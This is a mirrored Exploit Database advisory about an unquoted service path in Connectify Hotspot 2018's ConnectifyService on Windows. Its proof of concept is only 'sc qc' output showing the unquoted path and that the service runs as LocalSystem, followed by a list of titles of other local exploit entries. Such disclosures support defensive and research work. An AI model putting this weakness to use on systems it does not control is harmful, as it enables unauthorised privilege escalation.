Connectify Hotspot 2018 ‘ConnectifyService’ – Unquoted Service Path

Exploit Database
38 阅读

作者： SamAlucard

日期： 2022-02-18
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/50764/

#Exploit Title: Connectify Hotspot 2018 'ConnectifyService' - Unquoted Service Path
#Exploit Author : SamAlucard
#Exploit Date: 2022-02-17
#Vendor : Connectify Inc
#Version : Connectify Hotspot 2018
#Vendor Homepage : https://www.connectify.me/
#Tested on OS: Windows 7 Pro

#Analyze PoC :
==============

C:\>sc qc Connectify
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Connectify
TIPO : 10WIN32_OWN_PROCESS
TIPO_INICIO: 2 AUTO_START
CONTROL_ERROR: 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files
(x86)\Connectify\ConnectifyService.exe
GRUPO_ORDEN_CARGA:
ETIQUETA : 0
NOMBRE_MOSTRAR : Connectify Hotspot 2018
DEPENDENCIAS : wlansvc
 : winmgmt
 : http
NOMBRE_INICIO_SERVICIO: LocalSystem

last Exploits
Connectify Hotspot 2018 ‘ConnectifyService’ – Unquoted Service Path的更多信息

Wondershare Filmora 12.2.9.2233 – Unquoted Service Path：
Epic Games Easy Anti-Cheat 4.0 – Local Privilege Escalation：
freeFTPd v1.0.13 – ‘freeFTPdService’ Unquoted Service Path：
μTorrent (uTorrent) 2.0.3 – DLL Hijacking：
ktsuss 1.4 – suid Privilege Escalation (Metasploit)：
XMPlay 3.8.3 – ‘.m3u’ Local Stack Overflow Code Execution：
Remote Mouse GUI 3.008 – Local Privilege Escalation：
OpenBSD 6.x – Dynamic Loader Privilege Escalation：